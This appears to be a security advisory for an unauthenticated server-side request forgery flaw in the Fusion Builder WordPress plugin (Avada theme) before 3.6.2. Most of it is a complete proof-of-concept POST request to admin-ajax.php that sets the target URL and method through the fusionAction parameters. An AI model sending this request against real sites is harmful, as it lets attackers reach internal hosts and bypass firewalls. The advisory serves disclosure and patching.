Fusion Builder < 3.6.2 – Unauthenticated SSRF

Description

The plugin, used in the Avada theme, does not validate a parameter in its forms which could be used to initiate arbitrary HTTP requests. The data returned is then reflected back in the application's response. This could be used to interact with hosts on the server's local network bypassing firewalls and access control measures.

Proof of Concept

Attacker can control the URL (fusionAction parameter) and method (fusionActionMethod  parameter) of the HTTP request.

POST /wp-admin/admin-ajax.php HTTP/1.1
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------30259827232283860776499538268
Content-Length: 1457
Connection: close
-----------------------------30259827232283860776499538268
Content-Disposition: form-data; name="formData"

[email protected]&fusion_privacy_store_ip_ua=false&fusion_privacy_expiration_interval= 48&privacy_expiration_action=ignore&fusion-form-nonce-10361=e222df00dd&fusion-fields-hold-private-data= -----------------------------30259827232283860776499538268
Content-Disposition: form-data; name="action"

fusion_form_submit_form_to_url
-----------------------------30259827232283860776499538268
Content-Disposition: form-data; name="fusion_form_nonce"

e222df00dd
-----------------------------30259827232283860776499538268
Content-Disposition: form-data; name="form_id"

10361
-----------------------------30259827232283860776499538268
Content-Disposition: form-data; name="post_id"

8988
-----------------------------30259827232283860776499538268
Content-Disposition: form-data; name="field_labels"

{"email":"Email address"}
-----------------------------30259827232283860776499538268
Content-Disposition: form-data; name="hidden_field_names"

[]
-----------------------------30259827232283860776499538268
Content-Disposition: form-data; name="fusionAction"

https://arbitrary.com/
-----------------------------30259827232283860776499538268
Content-Disposition: form-data; name="fusionActionMethod"

post
-----------------------------30259827232283860776499538268—